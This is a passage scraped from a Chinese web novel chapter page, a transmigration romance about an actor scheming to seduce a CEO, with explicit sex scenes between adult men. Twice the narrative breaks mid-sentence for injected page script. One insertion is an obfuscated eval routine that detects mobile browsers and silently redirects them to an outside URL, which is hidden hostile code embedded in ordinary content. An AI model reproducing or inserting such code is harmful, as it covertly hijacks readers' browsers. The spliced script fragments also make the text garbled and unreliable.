「你知道季肖现在在想什么吗?啾。」肥啾小声问。 「嗯?」 「昨天晚上你醉了之后他送你回来的,然后从昨天晚上到现在,一直怪怪的啾。」 叶寒枝唇角弯了弯,「是吗?」 「昨天晚上……」 「我是真的不擅长喝酒。」叶寒枝说。 肥啾:「原来你是真心……」 「可我也没说昨天晚上我醉得那么厉害啊。」叶寒枝站直了身体伸了个懒腰,「男人三分醉,演到你流泪,不要轻易相信一个鬼话连篇的男人好吗?」 肥啾:「啾!」它竟然也被骗过去了! 叶寒枝今天就两场戏,最后一场是在下午临近晚上的时候,拍完后他换了戏服就往酒店走。 他不擅长喝酒这句话是真的,昨天晚上喝了那么几杯啤酒他这会儿脑门还一抽一抽的不舒服,急需回去好好睡一觉。 所以还是演小角色舒服,也不累。 季肖跟在叶寒枝身边问,“回酒店吗?” “要不然呢?”叶寒枝无语,“要不然我还得去寻欢作乐一番吗?” 季肖:“你明明知道我不知道这个意思。” “我不知道啊。”叶寒枝按了电梯楼层,“你别跟着我好吗?你没有自己的事情要做吗?” 昨天晚上醉酒后的叶寒枝彻底消失,季肖抿紧唇,“我知道,我不会跟你上去的。” 叶寒枝没再和他说话,等到季肖出去后,叶寒枝才瞥了一眼电梯里的监控。 叶寒枝刷了房卡刚推开门就被人从里面攥紧了手腕,他毫无防备地被拉进去,连房卡也没来得及放。 房门砰的一声关闭,攥着叶寒枝手腕的男人把他按在墙上,似乎是第一次干这种事情不熟练,以至于在黑暗中,男人呼吸急促着抵上叶寒枝的额头,摸黑来亲叶寒枝。 叶寒枝偏了偏脑袋,“顾先生,怎么了?” “寒枝。”顾砚礼喃喃着,“我想……我想……” “顾先生,想和我做吗?”叶寒枝问得直白。 顾砚礼一下子闭嘴了,他只是莫名有些害怕而已。 “顾先生,床头有安全套的。”叶寒枝搂上顾砚礼的脖子,在他耳边低笑着,“需要吗?” 15.金丝雀15 浴室的水声哗啦啦的,磨砂玻璃隐隐约约地透露出叶寒枝的身形。 顾砚礼坐在沙发上难得感到有些局促,他不知道自己怎么回事,因为那些似是而非的新闻跑来找叶寒枝,他知道自己这样的做法很糟糕,可……一旦碰上叶寒枝的事,他就有些无法保持绝对的冷静。 顾砚礼下意识看了一眼床头柜,的确有未开封的安全套,是酒店提供的。 顾砚礼不得不承认自己听见叶寒枝问那句话的时候无比心动,他想和叶寒枝做,似乎那样才能真正拥有叶寒枝,得到来自于叶寒枝的承诺一般……尽管他知道这样的想法很可笑。 浴室里的水声停了,叶寒枝的声音响起。 “顾先生。” 顾砚礼倏地站起来。 叶寒枝慢腾腾的声音带着几分潮湿的气息,“顾先生,我没拿内裤进来,能帮我找一下吗?” 顾砚礼声音低低地应了一声。 他的视线在床上转了一圈,看见了床上纯白的内裤,顾砚礼定了定神,伸手握住了叶寒枝的内裤,薄薄的布料在手中让他掌心发烫。 顾砚礼敲了敲浴室的磨砂玻璃,“寒枝。” 白皙修长的手指伸了出来,顾砚礼的视线落在湿润细白的手腕上,他呼吸有些沉,强迫自己移开视线把内裤递给叶寒枝。 叶寒枝微微侧过脸看着玻璃外的身影,眸光轻闪,他屈了屈手指头,手指轻触顾砚礼的皮肤勾上内裤。 顾砚礼倏地收回手,只觉得被叶寒枝碰到的地方发烫,他深深地吐出一口气来问,“还有……需要帮忙的地方吗?” “唔?”叶寒枝轻笑,“顾先生什么忙都帮我吗?” 顾砚礼一塞,这声轻笑在他耳边似一把小刷子一般,轻轻地挠着他的耳膜……似乎比平时的叶寒枝更大胆轻佻。 顾砚礼攥紧被叶寒枝碰过的手指,声音有些低,“如果你愿意的话……” 叶寒枝探出头来,他的头发湿润着滴水,睫毛因为潮湿而有些沉,这让他眨了眨眼又笑了起来。 叶寒枝的笑又让顾砚礼有些不自在,他后退两步,“我帮你吹头发。” “好哦。”叶寒枝裹着浴巾出来,“谢谢顾先生。” 顾砚礼先替叶寒枝擦了下发,这才握上吹风筒,他开了温热的风,手指没入叶寒枝柔软的银发之中,眸光也温柔下来。 “顾先生。”叶寒枝忽然开口,“昨天晚上我只是喝醉了,肖哥把我送回来而已。” 顾砚礼一愣,他摸着叶寒枝只剩下发尾泛着湿意的发关了吹风筒,自叶寒枝身后弯下腰来拢住怀里的人,“我没有怀疑什么。” “我知道。”叶寒枝微微转回头去,含着笑,“但你好像还是会在意。” “抱歉,我的确……有些吃醋,虽然我知道这样毫无道理。”顾砚礼垂眸看着叶寒枝,承认道,“不要讨厌我。” “怎么会呢?”叶寒枝搂上顾砚礼的肩,靠上去,“意味着顾先生在意我,喜欢我,这种事情怎么需要道歉。” “寒枝。”顾砚礼收紧了抱着青年的力道,“我真的很喜欢你。” 喜欢这两个字说得可真是轻巧,叶寒枝这样想着。 他弯了弯唇角,“顾先生,你——” 敲门声突兀地响起,打断了叶寒枝的话,叶寒枝微不可见地皱了下眉,“顾先生,我去看看,也许是工作人员。” “我去。”顾砚礼按着叶寒枝的肩,“你先换睡衣。” 叶寒枝挑了挑眉,“那顾先生去。” 顾砚礼往外走去,他打开门,和外面的男人对上视线。 季肖一愣,“你什么时候来的?” 顾砚礼淡淡地笑了笑,“下午的时候,怕被人拍到对寒枝不好,所以来这里等他。” “哦。”季肖下意识看了一眼房间里面,“他……” “他在换衣服。”顾砚礼说,“这么晚,找他有事吗?” “有品牌想邀请他拍广告,想问问他的意见。”季肖哪里看不出顾砚礼不想让他和叶寒枝见面,这反而印证着他心底的想法,叶寒枝和顾砚礼之间未必有多深的感情。 “他说过只想拍戏,其他的什么都不做。” “那是之前的想法,现在说不定变了呢。” 顾砚礼没说话,他只是平静地看着季肖,季肖沉默了片刻移开视线,“老顾,你在——” 防备我三个字还没说出来,里面传来叶寒枝的声音,“顾先生,是谁啊?” “……” 季肖扬声回答,“是我。” 顾砚礼脸上的表情微沉,男人对情敌的直觉总是格外准确,那张照片,那个新闻推送,还有现在季肖的表现无一不在告诉顾砚礼,季肖也喜欢叶寒枝。 顾砚礼后退一步,“寒枝,是季肖,说找你谈工资。” “什么工作?难道我这里还没杀青就有新剧本了?”叶寒枝出现在顾砚礼身后,他浴袍还没换下来,光洁的肩膀和锁骨明晃晃的扎眼。 季肖下意识屏住呼吸,视线下移,看见了两条笔直漂亮的小腿。 “……”顾砚礼面无表情地脱了西装给叶寒枝披上遮住季肖的目光,声音温柔,“外面冷,进去吧。” 叶寒枝眸光闪了闪,“好。” 季肖脚一抬,顾砚礼又开口,“寒枝,季肖说有广告。” “广告?”叶寒枝蹙了蹙眉看向季肖,“我说了我只拍戏,其他的什么都不想做。” 季肖低低地嗯了声,他只是想找个借口上来看寒枝而已,没想到顾砚礼在这里。 明明上一次顾砚礼来的时候他还告诫自己不能胡思乱想,这一次顾砚礼再来,他又觉得顾砚礼无比碍眼。 “知道了你就回去吧。”叶寒枝说,“肖哥,那些我都不喜欢。” 季肖没有留下的理由,他只能眼睁睁看着房门关上,这扇门隔绝了一切。 顾砚礼……没有新开房,今天晚上叶寒枝会和顾砚礼一起睡,季肖缓缓握紧了拳头。 总觉得,很不甘心。 叶寒枝抬眸看了顾砚礼好几眼,惹得顾砚礼有些不自在,“寒枝,怎么了?” “刚才顾先生……” “对不起,我又胡乱吃醋了,而且我和季肖是朋友,我这样很难看是不是?” 叶寒枝眨了眨眼,他双手捧着顾砚礼的脸凑过去,极轻地碰了碰顾砚礼的下巴。 顾砚礼呼吸微重,他闻到了叶寒枝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身上的香味,刚洗过澡的沐浴露香,还有叶寒枝泛红的脸,这些都刺激着他的脑子。 他的大手掌住叶寒枝的后脑勺,低头亲了亲叶寒枝的鼻尖,他看见了叶寒枝微微颤抖的眼睫,顾砚礼往下含住了叶寒枝微张的唇瓣。 房间里的空气潮湿而灼热起来,只有两个人唇舌纠缠的水渍声和呼吸声。 顾砚礼掐着叶寒枝的腰,松开了叶寒枝被他吮得湿润发红的唇,吻一点点往下移去。 顺理成章地倒在了床上,系得不算紧的浴袍因此松散开来,叶寒枝攀紧了顾砚礼的肩,呢喃着,“顾先生。” 顾砚礼嗯了一声,按住了叶寒枝的大腿,声音低哑,“别动。” 生理反应肉眼可见。 顾砚礼手指扯了扯领带,把松散的领带丢到一边,然后弯腰,黑色的头发从额头上垂落下来,发尾扎在叶寒枝的小腹有些痒。 “顾先生。”叶寒枝的声音与平时不同地低喘着,染着无法掩饰的欲,他推了推顾砚礼的脑袋,“别……” 顾砚礼意外地话少,他没有在意叶寒枝的阻止,含住了青年以此来打断了叶寒枝的笑。 “顾先生。”叶寒枝小声地呜咽了一声,“顾先生。”。 顾砚礼开始明显很不熟练,牙齿甚至有些磕碰着,很快他便顺了。 被温热潮湿的口包裹着,叶寒枝忍不住抓紧了脚指头,腿绷得很紧。 他的脑子有些空白,身体也轻轻地颤抖着。 腿被掐得很紧,呼吸也洒落上来。 叶寒枝想要把双腿并拢,想要自己控制自己的腿,但被顾砚礼按着他没有反抗的能里,叶寒枝本能地抓住顾砚礼的头发,细碎的低吟从喉咙里溢出来。 “顾先生。” 顾砚礼猝不及防被呛到,他松开叶寒枝,嘴唇湿润。 叶寒枝没什么力气地躺在床上,脑子还有些懵,他结束得猝不及防,这种事情他没法控制,总觉得有些尴尬,好像在顾砚礼这里输了一样。 同样,顾砚礼咽下去这件事也让他有些不可置信,可顾砚礼的表情看起来并不觉得这不对,叶寒枝压下心头那点莫名,拉了拉被子。 顾砚礼发丝有些凌乱,他俯下身来,亲了亲叶寒枝的耳垂,“睡吧,我去洗澡。” 叶寒枝:“?”就这? 顾砚礼轻笑一声,摸了摸叶寒枝有些红肿的唇,“明天你还要拍戏,太累了不好。” 叶寒枝张了张嘴,又闭上,他瞥了一眼顾砚礼下面,从那里支棱起那一团就能看出来,顾砚礼那玩意肯定不小,看起来没什么问题——除了大。 叶寒枝:“……”根本没有可比性啊,主角总是天赋异禀的,他只是反派,比不上是正常的。 顾砚礼这一洗澡洗了许久,等他解决掉出来时叶寒枝已经睡着了。 叶寒枝的睡颜乖巧极了,陷在柔软的枕头里,银发红唇格外漂亮。 顾砚礼关了灯,轻手轻脚地上了床,借着橘色灯光看着叶寒枝,他迟疑了许久,才试探性地伸出手把叶寒枝搂进怀里。 叶寒枝没醒,只是本能地蹭了蹭顾砚礼的胸膛,顾砚礼低头,唇印在叶寒枝额头。 只要……寒枝喜欢他就好了。 16.金丝雀16 叶寒枝睡得很香。 他睁开眼的时顾砚礼已经在餐桌上摆好了早餐,很香。 叶寒枝抱着被子发了会呆才慢吞吞地坐起来,顾砚礼回过头来,“醒了?” 叶寒枝唔了声下床,“顾先生去买早餐了吗?” “我让酒店的人拿了食材来做的。”顾砚礼说,“我不是答应过你吗?给你做饭吃。” “啊……” 叶寒枝看了一眼桌上还算丰盛的早餐,听见顾砚礼的话后又愣愣地看向顾砚礼,他只是随口说一句,以为顾砚礼也是随便说说而已,没想到这人还真做了。 “不喜欢吗?”顾砚礼有些紧张。 “没有,我不挑食的。”叶寒枝抬起头来,露出笑容,“顾先生,谢谢你。” 顾砚礼放下心来,他摸了摸叶寒枝的脑袋,轻吻了一下叶寒枝的唇,“不用和我说谢谢,我很乐意为你做这些,只要你喜欢就好。” 住在浅水湾的时候,虽然看起来叶寒枝不挑食,但顾砚礼却注意到叶寒枝更偏好酸甜/香辣的食物,他做三明治的时候加了芝士和小番茄,味道应该也不差。 “嗯。”叶寒枝轻声说,“喜欢的。” “你还没吃呢。”顾砚礼低低地笑了一声,“先吃早餐还是先洗漱?” “先刷牙吧。” 「感动吗?」肥啾幽幽,「这是他的真心啾。」 「不敢动。」叶寒枝走进洗漱间,「你能别一天到晚试探我吗?」 肥啾:「啾啾啾……」 顾砚礼的手艺是真的不错,叶寒枝咬着形状完美的荷包蛋问,“顾总用工具辅助了吗?” 顾砚礼摇头,“煎蛋很简单。” 叶寒枝:“……” 他不免回忆起自己每次煎蛋都会糊透的鸡蛋,默默吃完煎蛋,所以男主就是连煎蛋也能做得很完美吗?反派的优势又是什么? 「是让男主喜欢。」肥啾冷不丁开口。 叶寒枝:「你能不能不要去听我的想法?」 肥啾:「啾。」 吃完早餐,叶寒枝去换衣服。 他一边扣扣子一边想,还得是演戏份不多的角色,也不用一天到晚守在剧组,实在是太好了。 他捏着旁边顾砚礼的领带探出头问,“顾先生,你还穿昨天的衣服吗?” “不是。” 话音一落,敲门声响起,叶寒枝打开门见来人是沈助理。 对方保持着有礼的笑容递过来一个手提袋,“叶先生,这是顾总的衣服。” “哦。”叶寒枝接过来,“谢谢。” 沈助理微笑,“我应该做的,那么我下去等顾总。” 叶寒枝簌了口出来顾砚礼已经穿好了衬衫在打领带,叶寒枝三两步靠过去,伸手握住了顾砚礼的手,在顾砚礼看过来时甜甜地笑了一下,“顾先生,我给你打。” 顾砚礼心头鼓动着缓缓松了手,他垂眸看着叶寒枝专注的模样,目光停留在那长而卷翘的睫毛上,微微扇动着,如同一只轻盈飞舞的蝴蝶。 打完领带,叶寒枝抬起头来看着顾砚礼,有些不好意思,“顾先生,这是我第一次给人系领带,不是很好看。” “好看。”顾砚礼摸了摸温莎结,声音有些哑,“很好看。” “顾先生觉得不丢脸就好。”叶寒枝说,“如果你喜欢,等我回去后,早上都给你系领带。” 顾砚礼唇角弯了弯,“嗯,好。” “那……” “你今天什么时候的戏?” “还有一会儿,留出时间去化妆换衣服就行了。”叶寒枝去摸剧本,“我需要看看剧本,顾先生什么时候走?要不要和我一起看看?” “我等会再走。”顾砚礼说,“看完你的戏份再走。” 叶寒枝眉梢轻扬,含笑道,“好,今天的戏是流云被蛇妖引诱,顾先生要不要陪我对戏。” 顾砚礼看向剧本,上面写着蛇妖幻化的美艳女子在竹屋里引诱流云,写那蛇妖媚眼如丝云云。 顾砚礼说,“怎么对?” “你演蛇妖引诱我啊。”叶寒枝眨巴眼,“毕竟这里我是流云。” 顾砚礼:“……我演,蛇妖。” “嗯哼。”叶寒枝眸子里带着温良的笑,“顾先生没演过戏吗?需不需要我给你打个样?” 顾砚礼还没能发表意见就被叶寒枝按在沙发上坐好,“顾先生,你别动,现在你是流云,面对蛇妖的引诱你得心如止水。” 顾砚礼抿了抿嘴角,“好。” 他定定地看着面前的叶寒枝,满脑子都是等会儿叶寒枝引诱他的话,他该做出什么样的反应。 心如止水,这几个字听起来很简单。 “小道长~”细白的胳膊缠上顾砚礼的肩,青年的呼吸似带着诱人的香,刻意变换过的声线又娇又柔,“你可与人欢好过?” 顾砚礼绷紧身体,只觉得耳朵又酥又麻,他放在膝盖上的手收紧,心如止水,心如止水。 “小道长怎么不说话?”青年的膝盖跪在顾砚礼,微凉柔软的指腹从顾砚礼的脸轻轻下滑,最后落在男人喉结,“可是奴家长得不够美?” 顾砚礼有些恍惚,他抬起眼看着面前的人,似乎自己真的变成了被蛇妖引诱的道长,但他并不是不为所动。 “道长,您忘词了。”叶寒枝轻笑一声,“这里要接话的,你要夸蛇妖,然后劝她向善。” 顾砚礼喉结滚动,一只手扶上叶寒枝的大腿,另一只手搂住了叶寒枝的腰,他抬起头来,低声喃喃,“很美。” 叶寒枝演得高兴,也不理顾砚礼的反应,他的膝盖蹭着男人,嘴唇若有若无的落在顾砚礼脸侧,“小道长连心如止水的道长都演不好,怎么能演蛇妖?” 顾砚礼呼吸有些急,他说,“寒枝。” “寒枝是谁?小道长抱着我怎么还能叫其他人的名字?”叶寒枝柔若无骨地缠在顾砚礼身上,真像一条蛇妖成精,“小道长,与奴家欢好,奴家给你生条小蛇。” 顾砚礼心跳如鼓,他闭了闭眼,手按着叶寒枝的后颈亲了上去。 “小道长,你人设崩了。”叶寒枝嘟囔着,却顺势坐在顾砚礼怀里,接受了这个吻。 顾砚礼亲得温柔,手从叶寒枝的腰往下滑去,摸上了叶寒枝颇具肉感臀部。 叶寒枝身体微僵又缓缓放松,他轻轻喘息着,垂眸看着顾砚礼。 “小道长。”顾砚礼的声音低沉沙哑,“我演不来妖艳的妖,但可以换一种形式。” 叶寒枝眨了眨眼,他眼里有些雾气,“顾先生。” “不是顾先生。”顾砚礼咬了咬叶寒枝的耳垂,唇角扬起笑,“是强迫小道长交合的蛇妖。” 叶寒枝:“……” “道长给我生小蛇。”顾砚礼翻身把叶寒枝压在沙发上,哑声在叶寒枝耳边说,“让我在你的身体里产卵。” 叶寒枝没忍住又眨了下眼,唔……顾砚礼好像也很会玩嘛。 叶寒枝推了推顾砚礼的肩,“蛇妖,我怜你修行不易不杀你,采补阳气终究不是正道,不如——唔。” 顾砚礼咬上叶寒枝的唇,堵住了叶寒枝后面的话,他从咬唇到亲唇到吮着叶寒枝的舌尖,亲得叶寒枝气喘吁吁的时候才松开。 叶寒枝倒在沙发上,抬起湿漉漉的睫毛看着顾砚礼,他心想,在和顾砚礼闹掰之前,还是有些花样可以玩嘛,顾砚礼似乎也不是什么一本正经的君子。 “还对戏吗?”顾砚礼问。 “不对了,该走了。”叶寒枝坐起来,轻轻地吐出一口气,“顾先生,你亲我有痕迹吗?” “我很小心。“顾砚礼摸了摸叶寒枝的唇,“就是有点红,等会儿就好了。” 叶寒枝整理了一下衣服和头发,点了点头。 “我送你去剧组。”顾砚礼扣紧叶寒枝的手,眸光轻轻晃动着,“寒枝,可以吗?” 叶寒枝垂眸看了一眼交握的手轻笑,“当然可以。” 这个酒店距离影视城很近,附近晃动的狗仔众多,顾砚礼拉着叶寒枝出去也没有任何的遮掩,狗仔们常年和娱乐圈打交道,无论是叶寒枝还是顾砚礼都记得清清楚楚。 一个是从来没有绯闻的星河娱乐CEO,一个是星河娱乐新签约的艺人从酒店出来,怎么都得是一个大新闻。 “被拍了的话……”顾砚礼开口,声音很低,“你介意和我公开吗?” 叶寒枝眨了眨眼,莞尔一笑,“顾总都不介意我为什么要介意?难道怕有人脱粉?可是我本来就没什么粉丝吧?更何况谈恋爱难道是什么见不得人的事情吗?” 顾砚礼把叶寒枝的手握得更紧,“怕他们骂你。” “唔,没关系。”叶寒枝说,“只要顾先生愿意养着我就好了。” 顾砚礼没有说任何劝叶寒枝的话,他渐渐意识到,自己的私心越来越重了,这样不顾后果的宣誓着,就因为他的独占欲。 “这两天不要看网上。”顾砚礼轻声细语,“我会处理好网上的舆论,更何况,刚出道就宣布自己有对象总比有了许多男友粉女友粉再宣布更好。” 叶寒枝没忍住笑,“顾先生,我可以理解为你是在吃醋吧?” “嗯。”顾砚礼倒是很坦然地承认,“可是如果你讨厌的话我不会这么做。” “不讨厌,顾先生很可爱。” 顾砚礼的耳朵有些发烫,“可爱……” “相比起网上的官宣,顾先生还是应该和家里说一声,我怕你爸爸妈妈看到会被气到。”叶寒枝提醒,“就算现在环境比以前更包容,可相比起来同性毕竟不会被主流所接受。” “家里那边没关系。”顾砚礼把叶寒枝的手握更紧,“主要是舆论。” 现在的确是同性可以结婚的时代,但敢光明正大出柜说自己是同性恋的演员寥寥无几,戏路受限不说,还有各种品牌方考量都会有所影响,相当于放弃相当一部分财路。 叶寒枝没有这样的顾虑,他在这个世界本来也待不久,本来也不打算做其他的工作,就算外部接不到戏他也不在意,反正他这个世界给自己的人设就是在暴露本性之前依附顾砚礼而活。 「已经有好几个狗仔拍了你们的亲密姿态了哦,其中一个还是之前拍过你和季肖的。」肥啾提醒,「到时候怕带节奏说你乱搞男男关系,啾。」 「有顾砚礼在你怕什么?」叶寒枝抬头对上顾砚礼温柔的目光,回以一笑,「这得看我的金主怎么处理了。」 顾砚礼把叶寒枝送进化妆室后转身去找导演,化妆师看了一眼顾砚礼离开的背影,又看了看叶寒枝,没忍住八卦了一句,“顾总对寒枝真好,还特别送你来上班,你们是亲戚吗?” 叶寒枝看着镜子里的自己,“我和他不是亲戚。” 化妆师一愣,忽然想到剧组里的传言,可传言是传言,她觉得叶寒枝看起来根本不像是会被人包养的样子,于是迟疑着开口,“好朋友?” 叶寒枝看向化妆师,忽地噗嗤一声笑出来,“你真甜。” 化妆师:“……闭一下眼睛。” 叶寒枝闭上眼睛没再说话,化妆师也不说了,她大概知道了叶寒枝和顾砚礼是什么关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958870|147342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系了,再问下去就不礼貌了。 叶寒枝今天有一场受伤的戏份。 换完戏服出去时顾砚礼还没走,在和季肖说话,叶寒枝走近时听见季肖难听的声音,“你喜欢他难道不是应该保护好他吗?让那些狗仔拍到你们的事,到时候置于风口浪尖之上,以后资源咖,被包养这样的话会一直跟着他。” 顾砚礼神色平静,“我都想过了。” “你都想过了你还这么做?你不觉得你现在很自私吗?” “嗯。”顾砚礼淡淡地,“他不会被骂被包养的,我会和他结婚。” 季肖一呆,随即缓缓攥紧手,“你会和他结婚,你家里人同意吗?” “季肖,我和他结婚是好事,你应该高兴而不是质疑。”顾砚礼说。 “你——” 叶寒枝往前走了两步,轻咳一声打断两个人的谈话,“顾先生。” 见叶寒枝来了,季肖硬生生地压下自己的话,他能感受到自己心底的焦虑,他在怕叶寒枝和顾砚礼结婚,哪怕顾砚礼说的没问题,既然都要公开,被质疑包养不如直接结婚更好,至少总裁给自己的伴侣资源也不是什么很值得被诟病的事。 可是他并不想看到叶寒枝和顾砚礼结婚。 顾砚礼温声问,“化完妆了?” 叶寒枝点头,他指了指剧本,“看起来再拍一场就到我了。” 顾砚礼看了一眼,微皱了下眉,蛇妖引诱流云……虽然知道这是叶寒枝的工作,可顾砚礼还是有些吃味,他甚至第一次生出插手剧本改这段戏的想法,最终他还是忍耐住了,坐在叶寒枝旁边等。 一旁来去的工作人员八卦的目光偶尔从两人身上滑过,季肖冷着一张脸,瞪着那些工作人员,吓得工作人员们赶紧离开。 终于,轮到导演喊流云过去了。 叶寒枝站起来,“顾先生,我先过去了。” 顾砚礼嗯了声,他站在原地看着调整机位,等到演蛇妖的女演员靠近叶寒枝时,顾砚礼转过身去打电话。 季肖在一旁嗤笑,“你吃醋这么厉害?不像你啊。” 顾砚礼和沈助理交代好去买奶茶后,抬头看了一眼季肖,他说,“你是不是也喜欢寒枝?” 季肖没看顾砚礼,他淡淡道,“喜不喜欢他也属于你,有什么好说的?难道你会让给我?” 顾砚礼皱眉,“他不是物品,让这样的词很不尊重他。” 季肖:“那么你要和我公平竞争吗?” 顾砚礼:“他喜欢我,我也喜欢他,所以没有公平竞争的意义。” “那你还说这些。”季肖冷笑,“其实你也挺虚伪的。” “是啊。”顾砚礼自语,“其实我很虚伪也很自私,我一开始带他回家或许就没安好心,现在不过是顺理成章。” 季肖沉下眉来,“老顾。” “我不希望我和你——”急促的电话铃声打断了顾砚礼的话,他看了一眼来电显示,母亲两个字格外显眼。 季肖瞥了一眼淡淡道,“你别让他们为难寒枝才好,毕竟豪门是非多。” 顾砚礼避开季肖接了电话,接完电话回来叶寒枝已经拍完了正在和导演看刚才的片段。 顾砚礼轻轻拍了拍叶寒枝的肩,“寒枝,我要走了。” 叶寒枝头也没回,挥了挥手,“顾先生再见。” 顾砚礼:“……那我走了。” “好的。”叶寒枝指了指屏幕,问导演,“这里即兴发挥的部分还行吗?” “我给剧组买了奶茶。”顾砚礼不死心。 叶寒枝回头看了一眼顾砚礼,他站起来,抱了抱顾砚礼,“顾先生,再见。” 顾砚礼含笑回抱,“好。” 叶寒枝微笑着挥着手目送顾砚礼离开。 顾砚礼离开没多久沈助理便和人送了奶茶过来,沈助理递给叶寒枝时笑盈盈的,“这是顾总特意吩咐给叶先生的。” 叶寒枝接过来含笑说了声谢谢。 等到奶茶分发完,沈助理急匆匆地离去,叶寒枝喝了奶茶若有所思,顾砚礼走的时候没和沈助理一起,难道不是公司的事? “刚才顾砚礼接到了他妈妈的电话。” 叶寒枝唔了一声没在意。 “你……”季肖深深地吐出一口气来,“不想问什么吗?” “不想问,跟我又没关系。”叶寒枝没心没肺道。 季肖忍不住逼近叶寒枝,“你到底在意什么?你真的喜欢顾砚礼吗?” “我喜不喜欢他怎么样?我在意什么又怎么样?”叶寒枝眼都没眨一眼,“跟你有关系吗?” 季肖:“……”跟他有关系吗?好像没有。 可是,他希望和他有关系,他保持着逼近叶寒枝的动作没动,浑身的气压都降了下来。 “我说你。”叶寒枝咬着吸管,没有看季肖,只是露出一种很微妙的表情,“顾砚礼才刚走,你就迫不及待想绿了他当男小三吗?” 这句话侮辱意味极强,季肖有些难堪地别过脸,没有说话。 叶寒枝也不在意季肖怎么想,他吸完最后一口奶茶,正要起身去丢垃圾的时候,面前的季肖却按住了他的手,把奶茶杯夺过来。 叶寒枝疑问地抬头看着季肖,“你做什么?” 季肖张了张嘴,“我……” 他我了好一阵没能说出话来,叶寒枝盯着他看了半晌,缓缓扬起眉似笑非笑,“你别说真打算——” “是!”季肖定定地看着叶寒枝表情,似是下定了决心,“如果、如果我说我愿意当你的小三呢?” 17.金丝雀17 说完这句话后,季肖竟觉得如释重负,他意识到自己原来是在期待着的,如果叶寒枝愿意,不过是小三,不过是地下情人而已…… “不要。”叶寒枝拒绝得干脆利落,连眼睛都没眨一下。 “就因为顾砚礼有钱吗?”季肖捏紧了手中的奶茶杯。 “不仅如此啊,我不是告诉过你理由吗?”叶寒枝无辜地看着季肖,“你还要我重复几次呢?” 季肖闭了闭眼,他声音很低,“如果……如果顾砚礼有的我也有,你是不是就会选择我了?” “对啊。”叶寒枝有些恶劣地挑起嘴角,“等你什么时候和顾砚礼一样,我还会勉强考虑一下。” 和顾砚礼一样,是主角,有钱有势,什么都有,就缺少一点痛苦的时候,他会很乐意给予那一点痛苦。 他最喜欢看天之骄子崩溃的那一刻了,看过一次后便念念不忘,那双往日深情款款的双眼里承载着对他的恨意和痛苦,曾经说着花言巧语甜言蜜语的嘴里问出为什么的时候,这些让他的灵魂都为之颤栗。 就像他曾经一样一定要很痛苦,顾砚礼也得这样才行。 现在有多爱,后来就有多恨,这样才好。 季肖看着叶寒枝,一字一顿,“我会。” 他在心底嘲笑自己,对着顾砚礼的时候说得那么高大上,只是因为叶寒枝没有选择他而已。 哦不对,他没有让叶寒枝选的资格,一开始叶寒枝就说了,他不如顾砚礼,叶寒枝连这样的想法都没有。 他真的背叛了他和顾砚礼的朋友情义了,说到底还是他和顾砚礼之间的感情太塑料了,本来也没有多么深厚的情义,否则他怎么会在放弃的时候这么轻易呢? 他就像电视剧里写的反派,从有所想法到下定决心不过短短的时间,如果这是反派,那他就是吧。这样的话,叶寒枝肯定也是反派,反派和反派就该在一起才行,他能接受这样的叶寒枝,顾砚礼如果知道叶寒枝的本性肯定难以接受,这与他从小受到的理念彻底违背,所以他和叶寒枝才应该是天生一对。 早晚有一天,叶寒枝也能看出这一点的。 季肖沉沉地吐出一口气转移了话题问,“这部戏就快杀青了,杀青之后,你有什么想法吗?” “有啊。”叶寒枝睫毛弯弯,“回家做金丝雀了。” 季肖:“……”他暗暗告诫自己不要生气,叶寒枝是故意这么说的。 “下次想演什么?”季肖又问。 叶寒枝眨巴了下眼,认真回答,“演个祸国妖姬吧,我不介意反串哦。” 季肖忍不住揉了揉脑门,“寒枝。” “最近我都不接戏。”叶寒枝看向季肖,“我没开玩笑,我真的要回去相夫教子了。” “……你的夫和子在哪里?” “顾砚礼啊。”叶寒枝说,“给他生一个。” 季肖:“……” 他面无表情地想,早该知道的,这张嘴里说不出什么让他觉得好听的话,从认识到现在都是这样。 老实说,他还有点怀念叶寒枝在他面前装柔弱可怜还哭的模样,虽然那个时候不愿承认,但叶寒枝哭起来真的很漂亮,很让人有施虐欲。 想到这里,季肖的目光若有若无地落在叶寒枝眼睛上,随即移开。 …… 没几天网上果然有爆料新出道的某小演员和老板不仅走得近而且关系亲密,这位小演员最近正在影视城拍某大ip的男配。 这就差没指名道姓是谁了,吃瓜群众纷纷表达。 「是不是yhz啊?浮生的男三,这可是大ip了。」 「老板,是gyl吗?顾砚礼我记得很帅的。」 「包帅的,这就是俊男美男组合啊,不过人家都是男性,好朋友吧,yxh心脏看什么都脏。」 「我那个,其实之前就想说了,yhz刚出道就是大ip男三,肯定是背后有人的,如果是gyl的话,我也不是很意外。」 「真要这样,那该是男主角了,怎么就一个男三啊?」 「浮生人设最好的就是流云啊,只要不胡乱加戏魔改,流云妥妥吸粉人设好吧。」 yxh又装模装样地发了条预告,说是三天后直播放图和视频,时间是晚上九点半。 「呵呵,我就知道现在这些yxh,有瓜不直播就知道预告,sjb。」 「人家在等封口费呢,到时候就爆一个无人在意的糊咖,反正又没说名字。」 「你们是懂yxh的。」 「不是,三天不就是叶寒枝杀青的时间吗?」 季肖滑着手机屏幕,眉头越皱越紧,他看了一眼叶寒枝,对方毫无所觉,就算知道了应该也不会放在心上吧。 顾砚礼……真的打算就这样让狗仔爆出去吗? 最后一场戏是死亡的戏份。 叶寒枝画着妆出来收到好几个红包,导演拍拍他的肩笑眯眯道,“压惊红包,等会儿不要有压力,拍完咱们就解放了。” 叶寒枝含笑道,“谢谢导演,这些日子多谢你的包容。” “嗐,写什么?我当初还戴着有色眼镜看你呢。”刘导摇了摇头,“没想到你是个吃苦耐劳的好演员,假以时日你肯定能爆火的。” “爆火不敢想。”叶寒枝吐了吐舌头,“能吃饭就行了。” “哈哈哈。”导演笑了两声,“去吧,咱们准备一下,你酝酿酝酿。” “好。” 